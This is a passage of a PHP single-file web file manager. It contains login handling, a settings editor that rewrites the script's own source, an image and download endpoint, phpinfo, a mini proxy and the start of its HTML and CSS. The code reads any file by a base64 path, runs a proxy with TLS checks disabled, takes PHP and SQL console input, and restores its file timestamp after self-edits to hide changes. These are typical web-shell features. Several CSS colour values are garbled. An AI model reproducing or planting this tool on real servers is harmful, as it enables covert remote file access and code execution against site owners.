	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
